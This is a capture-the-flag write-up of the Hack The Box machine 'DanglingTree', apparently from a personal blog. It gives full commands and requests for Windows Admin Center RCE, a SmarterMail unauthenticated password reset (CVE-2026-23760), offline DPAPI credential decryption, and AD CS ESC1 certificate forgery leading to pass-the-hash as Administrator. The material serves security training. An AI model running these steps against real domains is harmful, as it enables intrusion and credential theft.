Peter Rakolcza Get in touch
← back to archive
// technical_debrief Medium

DanglingTree

DanglingTree is a medium-difficulty Windows Active Directory box built around a Server 2025 domain controller that doubles as an Enterprise CA and hosts a Windows Admin Center portal and a SmarterMail server.

platform
Hack The Box
target_os
Windows (Server 2025 / Build 26100)
difficulty
Medium
season
Season 11
logged
August 18, 2026
exploit_vectors → Share enumerationWindows Admin Center RCESmarterMail authentication bypassBackup-domain credential recovery

Summary of Exploitation

DanglingTree is a medium-difficulty Windows Active Directory box built around a Server 2025 domain controller that doubles as an Enterprise CA and hosts a Windows Admin Center portal and a SmarterMail server. Starting from a single set of low-privileged domain credentials leaked in a share, the chain proceeds as follows:

  1. Share enumeration over a null session reveals a non-standard IT share containing a “Rules of Engagement” PDF that leaks the starting credentials anderson.w : R3dT3am@Acc3ss#01.
  2. Windows Admin Center RCE — port 6600 runs WAC. After logging in with anderson.w, its invokeCommand PowerShell API is abused for command execution on the DC as anderson.w.
  3. SmarterMail authentication bypass — a local-only SmarterMail service (LocalSystem) holds credential material anderson.w cannot read on disk. An unauthenticated force-reset-password (CVE-2026-23760) resets svc_mail, which is a SmarterMail system administrator.
  4. Backup-domain credential recovery — the SmarterMail sysadmin re-attaches a .bak backup domain, enables password retrieval, and reveals plaintext mailbox passwords — recovering noah.b : RiverDragon#Storm25, a valid domain account.
  5. DPAPI pivot — running as noah.b yields the user flag and a stored DPAPI credential; decrypting it offline gives alex.o : SunsetMountainPeak@2025. alex.o can reset jake.h, a member of Template_Editors.
  6. AD CS ESC1 via dangling templates — the CA still publishes three template names whose AD objects were deleted (the box’s namesake). As jake.h, one is re-created as an ESC1-vulnerable template, an Administrator certificate is forged, and PKINIT yields the Administrator hash — completing the chain.

Recon Phase

An initial service scan was run against the target:

nmap -Pn -n -sCV -p 53,80,88,135,139,389,443,445,636,3268,3389,9389 <target-ip> -oN nmap-sCV.txt
nmap -Pn -n -T4 --min-rate 2500 -p- <target-ip> -oN allports.txt

Results (abridged):

Port State Service Version
53 open domain Simple DNS Plus
80 open http Microsoft IIS 10.0 (IIS Windows Server)
88 open kerberos-sec Microsoft Windows Kerberos
135 open msrpc Microsoft Windows RPC
139 open netbios-ssn Microsoft Windows netbios-ssn
389 open ldap Microsoft Windows AD LDAP (Domain: danglingtree.htb)
443 open ssl/http Microsoft IIS 10.0 (cert CN = danglingtree-DC-CA)
445 open microsoft-ds
464 open kpasswd5
593 open ncacn_http RPC over HTTP 1.0
636 open ldapssl AD LDAP over TLS
3268 open ldap Global Catalog
3389 open ms-wbt-server RDP (cert CN = dc.danglingtree.htb)
6600 open http (WAC) Windows Admin Center (gateway 2.6.4.11)
9389 open mc-nmf .NET Message Framing (AD Web Services)

Key takeaways from recon:

  • The host is the domain controller dc.danglingtree.htb (domain: danglingtree.htb, NetBIOS DANGLINGTREE, Build 26100 = Server 2025).
  • The 443 certificate subject commonName=danglingtree-DC-CA reveals the DC is also an Enterprise Certificate Authority — AD CS is in scope.
  • WinRM (5985/5986) is filtered — the usual evil-winrm foothold is not available; interactive access must come from elsewhere.
  • Port 6600 is Windows Admin Center — a rich, credentialed attack surface once a domain user is in hand.
  • SMB signing is required and the DC enforces LDAP signing / channel binding — plain-389 sign-and-seal (nxc, bloodyAD) is the reliable transport; several LDAPS-defaulting tools return starved results.
  • A large clock skew (~7h) was observed, which must be corrected before any Kerberos operation.

The domain and DC hostname were added to /etc/hosts:

echo "<target-ip>  dc.danglingtree.htb danglingtree.htb DANGLINGTREE DC" | sudo tee -a /etc/hosts

Note on time sync. Kerberos rejects requests outside a ~5-minute window. This box runs ~7h ahead. For the PKINIT step the attack host clock was set to the DC’s LDAP currentTime immediately before use:

RAW=$(ldapsearch -x -LLL -H ldaps://<target-ip>:636 -b '' -s base currentTime | awk '/currentTime/{print $2}')
FT="${RAW:0:4}-${RAW:4:2}-${RAW:6:2} ${RAW:8:2}:${RAW:10:2}:${RAW:12:2}"
sudo date -u -s "$FT"

SMB Enumeration & Initial Foothold

A null session was accepted for share listing:

smbclient -L //<target-ip> -N

Results:

Share Permissions (null) Remark
ADMIN$ — Remote Admin
C$ — Default share
IPC$ READ Remote IPC
IT READ (custom, no comment)
NETLOGON READ Logon server share
SYSVOL READ Logon server share

A non-standard IT share readable by a null session is the intended entry point. It held a single document:

smbclient //<target-ip>/IT -N -c 'recurse ON; prompt OFF; mget *'
#  \Security\DanglingTree_RoE_Assessment.pdf

Extracting the PDF text (its streams are ASCII85 + Flate encoded) revealed a “Provided Credentials” section:

Domain     : danglingtree.htb
Username   : anderson.w
Password   : R3dT3am@Acc3ss#01
Account    : Standard Domain User (Low-Privileged)

Credentials validated across SMB / LDAPS / RPC:

nxc smb  <target-ip> -u anderson.w -p 'R3dT3am@Acc3ss#01' -d danglingtree.htb
nxc ldap <target-ip> -u anderson.w -p 'R3dT3am@Acc3ss#01' -d danglingtree.htb

AD Enumeration

Anonymous RID cycling and authenticated enumeration mapped the domain. anderson.w has a deliberately restricted LDAP read (an objectCategory=person subtree returns only itself), so RPC/SAMR and targeted queries were used instead:

lookupsid.py -no-pass 'anonymous@<target-ip>' 4000       # domain SID + RID sweep
nxc smb <target-ip> -u anderson.w -p 'R3dT3am@Acc3ss#01' --rid-brute 5000

Notable principals and groups:

Account RID Note
jake.h 1103 Sole member of the custom PKI groups
svc_mail 1110 Mail service-related account
noah.b 1602 (holds the user flag)
alex.o 1604 Member of support-it
anderson.w 2601 Starting foothold
Group RID Relevance
Template_Editors 1107 CreateChild on the Certificate Templates
DevOps_PKI 1108 CreateChild on the OID container (ESC13)
Helpdesk_Cert_Support 1106 ManageCertificates on the CA (ESC7)
Cert_Managers 1105 PKI officer group
support-it 1603 Delegated helpdesk group

Domain policy notes:

  • ms-DS-MachineAccountQuota = 0 (no new computer accounts → RBCD-via-new-machine blocked).
  • lockoutThreshold = 0 (no lockout).
  • Only SPN-bearing account is DC$ → classic Kerberoasting yields nothing; AS-REP roasting found no pre-auth-disabled users.

The AD CS enumeration is the standout. The CA danglingtree-DC-CA grants Enroll to Authenticated Users, and its certificateTemplates attribute publishes three non-default template names — EmployeeAuthTemplate, VPNUserTemplate, RemoteAccessVPN — that have no backing object in CN=Certificate Templates,...:

certipy find -u anderson.w@danglingtree.htb -p 'R3dT3am@Acc3ss#01' -dc-ip <target-ip> -ns <target-ip> -vulnerable -stdout
# "Found 33 certificate templates ... Could not find any certificate templates"

These dangling certificate template references — the box’s namesake — become the privilege-escalation payoff once a member of Template_Editors is obtained.


Exploitation Phase

Step 1 — Windows Admin Center → RCE as anderson.w

Port 6600 serves Windows Admin Center. WAC’s browser login uses an RSA-OAEP exchange: fetch a public JWK from /api/user/key, RSA-OAEP(SHA-256)-encrypt {username,password,csrf}, and POST it to /api/user/login. Re-implementing that flow in Python returned an authenticated session (WAC-TOKEN + XSRF-TOKEN).

With a session, the connected node (dc.danglingtree.htb) exposes a PowerShell endpoint that runs as the logged-in user:

POST /api/services/WinREST/PowerShell/nodes/dc.danglingtree.htb/invokeCommand
X-Xsrf-Token: <XSRF-TOKEN>
X-Ms-Sme-Module-Name: msft.sme.shell
X-Ms-Sme-Module-Version: 6.8.9

{ "properties": { "script": "whoami", "command": "Get-WACSMServerConnectionStatus",
  "module": "Microsoft.SME.ServerManager", "state": "ready",
  "useInProcRunspace": false, "invokeMode": "Polling" } }
results: [ "danglingtree\\anderson.w" ]

This is arbitrary command execution on the DC as anderson.w — but a low-privileged one (only SeChangeNotify, SeIncreaseWorkingSet, SeMachineAccount), with no read access to other users’ profiles or to C:\SmarterMail.

Step 2 — SmarterMail auth bypass (CVE-2026-23760) → sysadmin

Enumerating the box through the RCE revealed a SmarterMail install (MailService.exe, running as LocalSystem) with its web interface bound to localhost:17017, version 100.0.9504. The mail data (C:\SmarterMail\Domains\...) is ACL-locked away from anderson.w.

SmarterMail 100.x is vulnerable to an unauthenticated password reset (/api/v1/auth/force-reset-password). Because the endpoint is only reachable on localhost, the request was issued through the WAC RCE:

$body = @{ IsSysAdmin=$true; OldPassword="x"; Username="svc_mail";
           NewPassword="<newpass>"; ConfirmPassword="<newpass>" } | ConvertTo-Json
Invoke-WebRequest -Uri "http://127.0.0.1:17017/api/v1/auth/force-reset-password" `
  -Method POST -Body $body -ContentType "application/json" -UseBasicParsing
# {"success":true,"resultCode":200}

Authenticating with the new password shows svc_mail is a system administrator:

# /api/v1/auth/authenticate-user  ->  isAdmin=True

Step 3 — Backup domain → plaintext mailbox passwords

The users needed for the chain live in a backup domain on disk (C:\SmarterMail\Domains\danglingtree.htb.bak) that is not attached. As SmarterMail sysadmin, the live domain was detached and the backup attached in its place (the license allows one domain), then renamed to the original name so user emails resolve:

detach-domain/danglingtree.htb
attach-domain          {domainName:"danglingtree.htb", domainPath:"...\danglingtree.htb.bak"}
rename-domain          {oldDomainName:"danglingtree.htb.bak", newDomainName:"danglingtree.htb"}
# -> danglingtree.htb now backed by the .bak store, userCount:6

svc_mail was made the domain’s primary admin, and the global “password retrieval” flags (enablePasswordRetrieval, enableShowPasswords) were toggled on. Impersonating svc_mail produced a domain-admin token carrying role: DomainAdmin and CanViewPasswords: True, which the show-password endpoint honours (note the required token field in the body):

POST /api/v1/settings/domain/show-password/
{ "token": "<impersonation-token>", "emailAddress": "noah.b@danglingtree.htb" }
->  { "password": "RiverDragon#Storm25" }

Every mailbox password was revealed; only noah.b : RiverDragon#Storm25 validated as a live domain account:

nxc smb <target-ip> -u noah.b -p 'RiverDragon#Storm25' -d danglingtree.htb   # [+]

Step 4 — DPAPI pivot: noah.b → alex.o

noah.b has no WinRM/RDP, so RunasCs was delivered to the DC through the WAC RCE (base64 chunk-upload) and used to execute commands as noah.b. This yielded the user flag and a stored DPAPI credential pointing at alex.o:

C:\Windows\Temp\svc.exe noah.b 'RiverDragon#Storm25' \
  "cmd /c type C:\Users\noah.b\Desktop\user.txt & cmdkey /list" danglingtree.htb
<REDACTED>         # user.txt
Target: Domain:target=PC01.danglingtree.htb   User: alex.o

noah.b’s DPAPI masterkey and credential blob were copied to a readable location (as noah.b) and exfiltrated, then decrypted offline with dpapi.py using noah.b’s password:

dpapi.py masterkey -file mk.bin \
  -sid S-1-5-21-4220238332-57023728-1129110646-1602 -password 'RiverDragon#Storm25'
# Decrypted key: 0x7120d9adb3b8...

dpapi.py credential -file cred.bin -key 0x7120d9adb3b8...
# Username : alex.o
# Unknown  : SunsetMountainPeak@2025
nxc smb <target-ip> -u alex.o -p 'SunsetMountainPeak@2025' -d danglingtree.htb   # [+]  (member of support-it)

Step 5 — alex.o → reset jake.h

alex.o (via support-it) holds the rights to reset jake.h, the sole member of the PKI groups:

bloodyAD -d danglingtree.htb -u alex.o -p 'SunsetMountainPeak@2025' \
  --host dc.danglingtree.htb --dc-ip <target-ip> set password jake.h '<newpass>'
# [+] Password changed successfully!

nxc smb <target-ip> -u jake.h -p '<newpass>' -d danglingtree.htb   # [+]

jake.h is a member of Template_Editors, DevOps_PKI, and Helpdesk_Cert_Support.

Step 6 — AD CS ESC1 via dangling template → Administrator

Template_Editors holds CreateChild on the Certificate Templates container, and the CA still publishes EmployeeAuthTemplate despite the object being deleted. Re-creating an object with that exact name produces a template that is already published and enabled on the CA — no ManageCA needed.

As jake.h, the enabled User template was cloned into a new EmployeeAuthTemplate, configured for ESC1 at creation time — msPKI-Certificate-Name-Flag = 1 (ENROLLEE_SUPPLIES_SUBJECT), Client Authentication EKU (1.3.6.1.5.5.7.3.2), msPKI-RA-Signature = 0 (no manager approval):

# ldap3 add CN=EmployeeAuthTemplate,CN=Certificate Templates,CN=Public Key Services,...
#   objectClass: pKICertificateTemplate
#   msPKI-Certificate-Name-Flag: 1        # ENROLLEE_SUPPLIES_SUBJECT
#   pKIExtendedKeyUsage: 1.3.6.1.5.5.7.3.2 # Client Authentication
#   msPKI-RA-Signature: 0 ; msPKI-Enrollment-Flag: 0

As the object’s creator, jake.h rewrote its DACL to grant enrollment (Authenticated Users / jake.h full control). The CA then issued a certificate with an arbitrary Administrator SAN/SID:

certipy req -u jake.h@danglingtree.htb -p '<newpass>' -dc-ip <target-ip> -target dc.danglingtree.htb \
  -ca danglingtree-DC-CA -template EmployeeAuthTemplate \
  -upn administrator@danglingtree.htb -sid S-1-5-21-4220238332-57023728-1129110646-500
# [*] Wrote certificate and private key to 'administrator.pfx'

After syncing the clock to the DC, PKINIT with the certificate returned the Administrator NT hash:

sudo date -u -s "<DC-time>"
certipy auth -pfx administrator.pfx -dc-ip <target-ip> -domain danglingtree.htb -username administrator
# [*] Got hash for 'administrator@danglingtree.htb':
#     aad3b435b51404eeaad3b435b51404ee:8cacb3a97e460c65d105ca7cd9913925

Tooling notes

  • certipy template -write-default-configuration only edits an existing template — the object must be created first (jake.h can create but not freely modify), so the ESC1 attributes were set at creation and the DACL rewritten separately as the creator/owner.
  • The CA already publishing the deleted template’s name is what makes this work without ManageCA — no certutil -setcatemplates needed.
  • faketime did not intercept certipy’s clock; setting the host clock to the DC’s LDAP currentTime is the reliable skew fix.

Root Flag Successfully Obtained

Pass-the-hash with the recovered Administrator hash confirmed Domain Admin and read both flags:

nxc smb <target-ip> -u administrator -H 8cacb3a97e460c65d105ca7cd9913925
# [+] danglingtree.htb\administrator (admin)

nxc smb <target-ip> -u administrator -H 8cacb3a97e460c65d105ca7cd9913925 \
  -x "type C:\Users\Administrator\Desktop\root.txt"

Key Takeaways

  • Read the box’s services as design hints. A DC also running Windows Admin Center (6600), an Enterprise CA, and SmarterMail signposts the whole chain: portal → mail creds → certificate abuse.
  • Windows Admin Center is credentialed RCE. Its invokeCommand API executes PowerShell as the logged-in user; a low-priv domain account plus WAC access is a foothold on the DC — even with WinRM filtered.
  • Application admin ≠ file read, but it’s often enough. Rather than fighting LocalSystem ACLs, the SmarterMail sysadmin (via a CVE-2026-23760 reset) re-attached a backup domain and used the built-in “show password” feature to hand over plaintext credentials.
  • DPAPI turns one user into the next. A cmdkey-stored credential plus the owning user’s password decrypts cleanly offline — no LSASS access required — pivoting noah.b → alex.o.
  • Dangling certificate templates are the theme and the win. The CA kept publishing template names whose objects were deleted; a Template_Editors member re-created one as ESC1 (ENROLLEE_SUPPLIES_SUBJECT + Client Auth) and forged an Administrator certificate → PKINIT → DA.
  • Mind the clock. A ~7h skew silently breaks every Kerberos step; sync the host clock to the DC (LDAP currentTime) immediately before PKINIT.

Full Attack Chain

IT share (null session)  ──>  RoE PDF  ──>  anderson.w : R3dT3am@Acc3ss#01
   └─ Windows Admin Center (6600)  ──>  invokeCommand RCE as anderson.w
        └─ SmarterMail CVE-2026-23760 (force-reset-password)  ──>  svc_mail (mail sysadmin)
             └─ attach .bak domain + show-password  ──>  noah.b : RiverDragon#Storm25
                  └─ RunasCs as noah.b  ──>  user.txt  +  DPAPI cred     [USER]
                       └─ dpapi.py  ──>  alex.o : SunsetMountainPeak@2025
                            └─ reset jake.h (Template_Editors)
                                 └─ dangling template EmployeeAuthTemplate → ESC1
                                      └─ certipy req + PKINIT  ──>  Administrator hash   [ROOT]